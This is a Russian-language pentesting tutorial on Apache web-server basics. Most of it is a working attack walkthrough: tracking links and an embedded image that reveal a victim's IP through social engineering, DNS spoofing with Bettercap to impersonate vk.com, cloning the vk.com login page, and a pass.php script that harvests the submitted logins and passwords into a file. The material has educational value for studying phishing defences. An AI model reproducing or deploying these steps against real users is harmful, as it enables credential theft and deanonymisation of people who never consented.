Азы работы с веб-сервером для пентестера


Веб-сервер для пентестера вещь очень нужная. Примеры использования:

  • фишинговые атаки
  • подмена оригинального сайта при DNS спуфинге
  • получение IP цели при помощи социальной инженерии
  • размещение скриптов для сбора данных при XSS уязвимостях
  • сбор данных от скомпрометированных систем, размещение файлов для распространения
  • размещение JavaScript скриптов и HTML кода для внедрения при атаках человек-посередине и других

При определённой сноровке на веб-сервере можно даже организовать сканер портов и роутеров.

Понимание хотя бы основ работы веб-сервера необходимо при тестировании на проникновение веб-приложений, серверов. И ещё больше применений эти знания найдут для «мирных» целей.

В этой статье вы узнаете о структуре папок и файлов веб-сервера, о настройке субдоменов и виртуальных хостов, о логах веб-сервера, об основах PHP и другое.

В этой заметке упор будет сделан на Linux (в первую очередь на Kali Linux, Linux Mint, Ubuntu), а также будут даны ссылки для дальнейшего изучения и работы в других дистрибутивов, а также для работы с веб-сервером на Windows.

Установка веб-сервера в Linux

Kali Linux

В Kali Linux веб-сервер установлен по умолчанию. Но также по умолчанию он не запускается при загрузке компьютера. Чтобы запустить веб-сервер в Kali Linux выполните:

sudo systemctl start apache2
sudo systemctl start mysql

Для проверки работоспособности сервера откройте веб-браузер и перейдите на страницу localhost.

Linux Mint, Ubuntu

В этих дистрибутивах веб-сервер по умолчанию не установлен, но это легко сделать несколькими командами:

sudo apt update
sudo apt install apache2 default-mysql-server php libapache2-mod-php php-mysql php-xml php-gd php-imap php-mysql
sudo systemctl enable apache2
sudo systemctl enable mysql

Доступ к веб-серверу

С компьютера, на котором установлен веб-сервер, вы всегда можете получить доступ к нему набрав в браузере localhost или 127.0.0.1

С другого компьютера к веб-серверу можно получить доступ тремя способами:

  • по локальному IP (только из локальной сети)
  • по внешнему IP (при соблюдении некоторых условий)
  • по доменному имени (требуется доступ по внешнему IP + купленный домен + настройка DNS)

Чтобы узнать IP адрес компьютера наберите команду:

ip a

Как видно на скриншоте, в моём случае IP компьютера 192.168.0.196. Набрав в веб-браузере на другом компьютера или мобильного телефона, подключённых к этой же локальной сети, в качестве адреса сайта 192.168.0.196, я попаду на веб-сервер.

Структура файлов веб-сервера

Тот файл, который вы видите, открыв http://localhost/ физически расположен по пути /var/www/html/index.html

Можете убедиться в этом сами, выполнив команду (она говорит браузеру Firefox открыть файл, расположенный по пути /var/www/html/index.html):

firefox /var/www/html/index.html

Добавим ещё файлы и папки, чтобы посмотреть работу сервера. Но начнём с проверки, кому принадлежит директория /var/www/html/:

ls -dl /var/www/html/
drwxr-xr-x 2 root root 4096 июн 26 18:27 /var/www/html/

Эта директория принадлежит суперпользователю. Все остальные имеют право читать её содержимое, но не имеют прав записывать. Чтобы мы могли делать в ней изменения, нам нужно:


  • вносить изменения от рута (использовать sudo или залогиниться как root) ИЛИ
  • сделать себя собственником этой директории

Если вы выбрали вариант работы с файлами в этой папке как root, то для удобства вы можете запускать менеджеры файлов с повышенными привилегиями:

sudo thunar /var/www/html/
sudo doublecmd /var/www/html/

Следующая команда делает владельцем директории пользователя, под которым вы вошли в систему:

sudo chown -R $USER:$USER /var/www/html

Проверим ещё раз:

ls -dl /var/www/html/
drwxr-xr-x 2 mial mial 4096 июн 26 18:27 /var/www/html/

Теперь без повышения привилегий вы можете открыть эту директорию, и в ней добавлять/удалять/изменять файлы.

thunar /var/www/html/

Индексные файлы

Когда веб браузер получает запрос показать определённую директорию без указания файла, то он начинает искать в этой директории индексные файлы. Обычно к этим файлам относятся index.html, index.php, index.htm и другие (настраиваются в конфигурационных файлах Apache).

Т.е. адрес http://localhost/ и адрес http://localhost/index.html выведут содержимое одного и того же файла.

Создайте любым доступным вам способом в папке /var/www/html/ файл test.htm и скопируйте туда строку "My very first file". Это можно сделать открыв файловый менеджер и перейдя в папку /var/www/html/, а затем открыв любой текстовый редактор, скопировать туда строку "My very first file" и сохранить с именем test.htm.

Я сделаю это из командной строки:

echo 'My very first file' | sudo tee /var/www/html/test.htm

Команда tee читает из стандартного ввода и записывает в стандартный вывод и файлы. В отличие от команды echo, которая не может работать sudo, программа tee может работать с sudo, чем мы и воспользовались в предыдущем примере.

Связанная статья: Как использовать echo вместе с sudo

Итак, теперь мы имеем файл /var/www/html/test.htm. Если в веб-браузере открыть адрес http://localhost/test.htm, то вы увидите строку, которую записали в файл.

Создадим в директории /var/www/html/ поддиректорию site1:

sudo mkdir /var/www/html/site1

Как можно догадаться, в эту папку можно попасть набрав в веб-браузере адрес http://localhost/site1/. Там мы увидим:

Т.е. папка попросту пуста.


Создадим там ещё один текстовый файл:

echo 'My second test file' | sudo tee /var/www/html/site1/test2.htm

Теперь по адресу http://localhost/site1/ мы видим:

А перейдя по ссылке http://localhost/site1/test2.htm увидим содержимое этого самого файла, т.е. строку "My second test file".

В папке /var/www/html/site1/ отсутствует индексный файл. Создадим его:

echo 'Just Index File' | sudo tee /var/www/html/site1/index.htm

Как можно догадаться, теперь набрав http://localhost/site1/ вместо списка файлов мы увидим индексный файл.

Раскрытие IP при помощи социальной инженерии

В файл /var/log/apache2/access.log сохраняются записи обо всех обращениях к веб-серверу, среди этой информации также присутствует IP обратившегося с запросом.

Чтобы посмотреть последние записи из этого файла:

sudo tail /var/log/apache2/access.log

Предположим, мы сформировали адрес http://192.168.0.196/site1/test2.htm?p=1112321 и отправили его лицу, чей IP мы хотим узнать.

В этом URL:

  • http://192.168.0.196 – адрес нашего сервера (вместо IP может быть наш домен – это не принципиально)
  • site1/test2.htm – файл, который будет показан целевому пользователю
  • ?p=1112321 – после знака вопроса можно указывать имена переменных и передаваемые ей значения, но в нашем примере мы используем уникальную строку только для облечения поиска по лог-файлу.

В файле журнала появится примерно следующее:

192.168.0.244 - - [05/Jul/2017:14:00:06 +0300] "GET /site1/test2.htm?p=1112321 HTTP/1.1" 200 303 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32"
192.168.0.244 - - [05/Jul/2017:14:00:07 +0300] "GET /favicon.ico HTTP/1.1" 404 504 "http://192.168.0.196/site1/test2.htm?p=1112321" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32"
192.168.0.244 - - [05/Jul/2017:14:00:58 +0300] "-" 408 0 "-" "-"

Строка /site1/test2.htm?p=1112321 показывает, какой адрес был запрошен. А 192.168.0.244 – это и есть IP пользователя, которого мы хотим идентифицировать.

Не смотря на свою примитивность, это вполне рабочий способ деанонимизации. Отправляемая ссылка может содержать что-то интересное для целевого лица (тесты, смешные картинки, анекдот – что угодно), чтобы он не заподозрил подвоха.

В качестве альтернативы вместо поиска по логам можно получать IP в PHP скрипте и сразу отправлять на почту атакующему.


Здесь показан пример в локальной сети. Всё работает точно также в Интернете. Вам нужен внешний IP либо ваше доменное имя.

Если вы стремитесь сохранить свою анонимность, и кто-то присылает вас ссылку «заценить» [что-угодно], то, конечно, следует начать со смены своего IP, либо использовать Tor Browser или любой другой анонимайзер.

Может использоваться более хитрый способ, когда вас не просят открыть ссылку.

Сохраните на своём сервере любую картинку. Например я загружаю картинку с адреса https://hackware.ru/wp-content/uploads/2017/07/01.jpg и сохраняю её в файл /var/www/html/site1/pic.jpg:

sudo wget -O /var/www/html/site1/pic.jpg https://hackware.ru/wp-content/uploads/2017/07/01.jpg

Следовательно, моя картинка теперь доступна по адресу http://192.168.0.196/site1/pic.jpg

Я, будучи «злоумышленником» создаю файл funny.html со следующим содержимым:

<html>
    <head>
        <title>Интересная картинка</title>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
    </head>
    <body>
        <div>
            <image src="http://192.168.0.196/site1/pic.jpg?tag=4564564544" alt="Включи показ картинок" />
        </div>
    </body>
</html>

И отправляю его «жертве». «Жертве» не нужно переходит на какие-то сайты, да и сам файл – простой HTML документ, открываемый в обычном веб-брауезре – всё это может снизить бдительность потенциальной цели. Файл откроется в браузере и там будет просто показана (не очень) забавная картинка. Но поскольку картинка подгружалась с веб-сервера атакующего, то у него в логах появится такая запись:

192.168.0.244 - - [05/Jul/2017:14:28:09 +0300] "GET /site1/pic.jpg?tag=4564564544 HTTP/1.1" 200 387504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"

Очевидно, что мы вставили изображение в HTML код используя тэг image:

<image src="http://192.168.0.196/site1/pic.jpg?tag=4564564544" alt="Включи показ картинок" />

Можно было бы обойтись без произвольной строки ?tag=4564564544 – она нужна только для облегчения поиска по логам и (или) идентификации «жертвы», поскольку одному лицу я мог отправить файл со строкой ?tag=4564564544, другому ?tag=4564564545, третьему ?tag=4564564546 и т.д.

Вместо картинки может быть .js, .css или другой файл, который может подгружаться с удалённого сервера не вызывая подозрений.


HTML файла может быть исполнимый или пакетный файл, который делает запрос на сервер, банальный ярлык с URL ссылкой и т.д.

Создание виртуальных хостов

Чтобы понять, как можно использовать виртуальные хосты в пентестинге, рассмотрим суть подмены DNS или как чаще его называют DNS спуфинга.

Когда пользователь вводит в строку веб-браузера адрес сайта, например, vk.com, то делается запрос на DNS сервер, у которого спрашивается: «какой IP имеет сайт vk.com». DNS находит запись для vk.com и отвечает, что этот сайт имеет IP 95.213.11.181. После этого компьютер пользователя подключается к веб-серверу на адресе 95.213.11.181 с запросом «покажи мне, пожалуйста, сайт vk.com». Веб-сервер показывает нужный сайт, Павел Дуров (или кто там сейчас вместо него) счастлив.

Смотрите также:

Атакующий может подменить возвращаемый ответ DNS. Выполняя атаку человек-посередине, мы можем перехватить ответ «95.213.11.181» и вместо него отправить «жертве» IP нашего сервера, например, 192.168.0.196.

Что произойдёт дальне? А дальше компьютер жертвы подключиться к нашему веб-серверу с запросом «покажи мне, пожалуйста, сайт vk.com». А мы… мы не будем расстраивать пользователя и покажем ему vk.com… правда в своём варианте.

Создадим каталог, в котором будут размещаться файлы (название каталога непринципиально):

sudo mkdir /var/www/html/vk.com

Создадим в этом каталоге файл:

echo "VK light" > index.htm
sudo mv index.htm /var/www/html/vk.com/index.htm

Сделаем копию файла конфигурации виртуального хоста:

sudo cp /etc/apache2/sites-available/000-default.conf /etc/apache2/sites-available/vk.com.conf

Откроем его для редактирования:

sudo gedit /etc/apache2/sites-available/vk.com.conf

Без комментариев файл выглядит так:

<VirtualHost *:80>
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Директиву DocumentRoot нужно отредактировать и прописать туда путь до каталога, где размещены файлы виртуального хоста (в нашем случае это /var/www/html/vk.com). Также нужно добавить директивы ServerName и ServerAlias с адресом нашего сайта. Получилось:

<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    ServerName vk.com
    ServerAlias www.vk.com
    DocumentRoot /var/www/html/vk.com
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Включим наш виртуальный хост:

sudo a2ensite vk.com.conf

Перезапустим сервер, чтобы изменения вступили в силу:

sudo systemctl restart apache2

Проверим статус сервера, чтобы убедиться, что всё работает:

systemctl status apache2

Теперь наш сервер готов.

Я покажу пример DNS спуфинга при атаке человек-посередине с помощью Bettercap. Установим Bettercap, если её нет на вашей системе. Следующая команда для Kali Linux (для других систем смотрите про установку на странице https://kali.tools/?p=345):

sudo apt install bettercap

Создадим файл dns.conf:

gedit dns.conf

Скопируем туда:

local .*vk\.com

Запускаем атаку:

sudo bettercap -X --dns dns.conf

Видим, что DNS ответ успешно подменён:

При попытке открыть в веб-браузере адрес http://vk.com «жертва» увидит:

Если у вас имеются вопросы по использованию Bettercap, то обратитесь к статье «Инструкция по использованию Bettercap».

Кстати, веб-сервер может обслуживать любое количество виртуальных хостов. Т.е. рядом с vk.com можно настроить mail.ru, yandex.ru и т.д.

И ещё одно «кстати»: для DNS спуфинга необязательно проводить атаку человек-посредине. Достаточно поменять настройки сетевого оборудования «жертвы», указав там свой «правильно» настроенный DNS. Пример в статье «Инструкция по использованию Router Scan by Stas’M. Часть вторая: Применение фальшивого DNS».

Работа веб-форм

Мучить смешными надписями несчастных пользователей социальных сетей забавно, но не профитно.

Можно, конечно, ему там написать, что по распоряжению Роскомнадзора № 34539/21-2018 теперь вход на vk.com платный и для получения доступа к сайту нужно кинуть 50 рублей на номер 8905143xxxx… но это уже совсем уголовщина – этим мы заниматься, конечно, не будем.

Мы продемонстрируем возможности атаки DNS спуфинг, попытавшись узнать логин и пароль пользователя от вконтакте.

Начнём с клонирования веб-сайта. Для этого ознакомьтесь с «Инструкцией по использованию HTTrack: создание зеркал сайтов, клонирование страницы входа».

Делаем каталог, куда будет клонирован сайт:

mkdir websitesmirrors

Обратите внимание, что в следующих командах я использую абсолютный путь /home/mial/websitesmirrors/vk.com/ — вам нужно использовать свой (/root/websitesmirrors/vk.com/ если вы на Kali Linux).

httrack https://vk.com --headers "Accept-Language: ru-RU,ru;q=0.5" -r2 -F "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" -O "/home/mial/websitesmirrors/vk.com/"

Удаляем ненужный индексный файл:

sudo rm /var/www/html/vk.com/index.htm

Копируем файлы:

sudo cp -r ~/websitesmirrors/vk.com/vk.com/* /var/www/html/vk.com/

Запускаем атаку человек-посередине вместе с DNS спуфингом:

sudo bettercap -X --dns dns.conf

Теперь сайт выглядит как оригинальный (хотя, вроде бы, пропали какие-то изображения — не будем в этом разбираться, для нашего примера это несущественно):

Но нам нужно «перенастроить» его форму, которая принимает и отправляет логин и пароль для входа.

Типичная форма выглядит так:

            <form action="pass.php" method="POST" enctype="multipart/form-data">
                Введите логин: <input type="text" name="login">
                <br />
                Введите пароль <input type="password" name="password">
                <br />
                <input type="reset"><input type="submit">
            </form>

Здесь pass.php это файл, куда форма отправляет данные.

Пример файла pass.php:

<?php

$text = "";
foreach ($_POST as $key => $value) {
    $text .= htmlspecialchars($key) . " это " . htmlspecialchars($value) . "\r\n";
}
file_put_contents("pass.txt", $text, FILE_APPEND);

header('Location: http://vk.com/');

Этот файл получает введённые логин и пароль, сохраняет их и перенаправляет пользователя на страницу vk.com (что бесполезно, т.к. пока не закончится DNS спуфинг, он постоянно будет попадать на наш виртуальный хост).

Конечно, это очень примитивный PHP код – нужно добавлять проверки на пустые переменные и т.д., но для знакомства его достаточно.

Я насчитал на странице входа vk.com три формы. Та, которая нам нужна, выглядит так:

    <form method="post" name="login" id="index_login_form" action="https://login.vk.com/?act=login">
      <input type="hidden" name="act" id="act" value="login">
      <input type="hidden" name="role" value="al_frame" />
      <input type="hidden" name="expire" id="index_expire_input" value="" />
      <input type="hidden" name="_origin" value="index.html" />
      <input type="hidden" name="ip_h" value="d483530f9e9e8e6f98" />
      <input type="hidden" name="lg_h" value="760276f5a8c4470e8e" />
      <input type="text" class="big_text" name="email" id="index_email" value="" placeholder="Телефон или e-mail" />
      <input type="password" class="big_text" name="pass" id="index_pass" value="" placeholder="Пароль" onkeyup="toggle('index_expire', !!this.value);toggle('index_forgot', !this.value)" />
      <button id="index_login_button" class="index_login_button flat_button button_big_text">Войти</button>
      <div class="forgot">
        <div class="checkbox" id="index_expire" onclick="checkbox(this);ge('index_expire_input').value=isChecked(this)?1:'';">Чужой компьютер</div>
        <a id="index_forgot" class="index_forgot" href="restore.html" target="_top">Забыли пароль?</a>
      </div>
    </form>

Сразу же удаляем все поля, где содержится hidden, получаем:

    <form method="post" name="login" id="index_login_form" action="https://login.vk.com/?act=login">
      <input type="text" class="big_text" name="email" id="index_email" value="" placeholder="Телефон или e-mail" />
      <input type="password" class="big_text" name="pass" id="index_pass" value="" placeholder="Пароль" onkeyup="toggle('index_expire', !!this.value);toggle('index_forgot', !this.value)" />
      <button id="index_login_button" class="index_login_button flat_button button_big_text">Войти</button>
      <div class="forgot">
        <div class="checkbox" id="index_expire" onclick="checkbox(this);ge('index_expire_input').value=isChecked(this)?1:'';">Чужой компьютер</div>
        <a id="index_forgot" class="index_forgot" href="restore.html" target="_top">Забыли пароль?</a>
      </div>
    </form>

Меняем action="https://login.vk.com/?act=login" на action="http://vk.com/pass.php". Также удаляем name="login" id="index_login_form", чтобы скрипты не могли изменить стандартное поведение формы:

    <form method="post" name="login" id="index_login_form" action="http://vk.com/pass.php">
      <input type="text" class="big_text" name="email" id="index_email" value="" placeholder="Телефон или e-mail" />
      <input type="password" class="big_text" name="pass" id="index_pass" value="" placeholder="Пароль" onkeyup="toggle('index_expire', !!this.value);toggle('index_forgot', !this.value)" />
      <button id="index_login_button" class="index_login_button flat_button button_big_text">Войти</button>
      <div class="forgot">
        <div class="checkbox" id="index_expire" onclick="checkbox(this);ge('index_expire_input').value=isChecked(this)?1:'';">Чужой компьютер</div>
        <a id="index_forgot" class="index_forgot" href="restore.html" target="_top">Забыли пароль?</a>
      </div>
    </form>

Можно ещё подшаманить форму, чтобы при вводе данных она не писала, про «Небезопасный вход», но уже работает, а материал получается и так слишком объёмным, поэтому мы на этом остановим наши работы с формой.

На сервере создаём файл pass.php с содержимым:

<?php

$text = "";
foreach ($_POST as $key => $value) {
    $text .= htmlspecialchars($key) . " это " . htmlspecialchars($value) . "\r\n";
}
file_put_contents("pass.txt", $text, FILE_APPEND);

header('Location: http://vk.com/');

Чтобы не возникло проблем с записью в файл pass.txt, создадим его заранее:

sudo touch /var/www/html/vk.com/pass.txt

И разрешим всем в него записывать:

sudo chmod 666 /var/www/html/vk.com/pass.txt

Как только пользователь введёт логин и пароль, они будут сохранены на веб-сервере атакующего:

Заключение

Мы рассмотрели (причём весьма поверхностно) всего несколько примеров, как веб-сервер может помочь при тестировании на проникновение. Дальнейшее изучение основ работы и настройки веб-сервера поможет лучше понимать и организовывать атаки.

Много полезных ссылок для продолжения изучения вы найдёте на странице «Самостоятельная настройка VDS / VPS».

Работа с веб-сервером в Windows:


Рекомендуется Вам:

One Comment to Азы работы с веб-сервером для пентестера

  1. Андрей:

    Здравствуйте! Могли бы вы рассказать о каком-нибудь MPM для Apache, например MPM-ITK, чтобы можно было понять как правильно реализовать изоляцию на каждого пользователя и как выделить для каждого сайта определенные ресурсы на одном физсервере, т.е. как настраивать эти модули исходя из потребностей проекта. Как я понял настройка обычных виртуальных хостов приводит к тому, что каждый хост использует все свободные ресурсы сервера, а изоляции каталогов нет и получив доступ к файлам одного хоста, можно получить доступ и к файловой системе (скриптам) остальных виртхостов. Еще было бы здорово понять что происходит на уровне прав доступа когда работает MPM и когда его нет: есть корневая /var/www/example.com/public_html и все что ниже example.com/ должно принадлежать example:example по задумке, чтобы он мог работать со своими файлами, как тогда руализуется доступ к этим файлам со стороны Apache, когда есть MPM и тем более когда его нет, получается пользователь apache должен состоять в группе example чтобы исполнять скрипты внутри /var/www/example.com ?

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *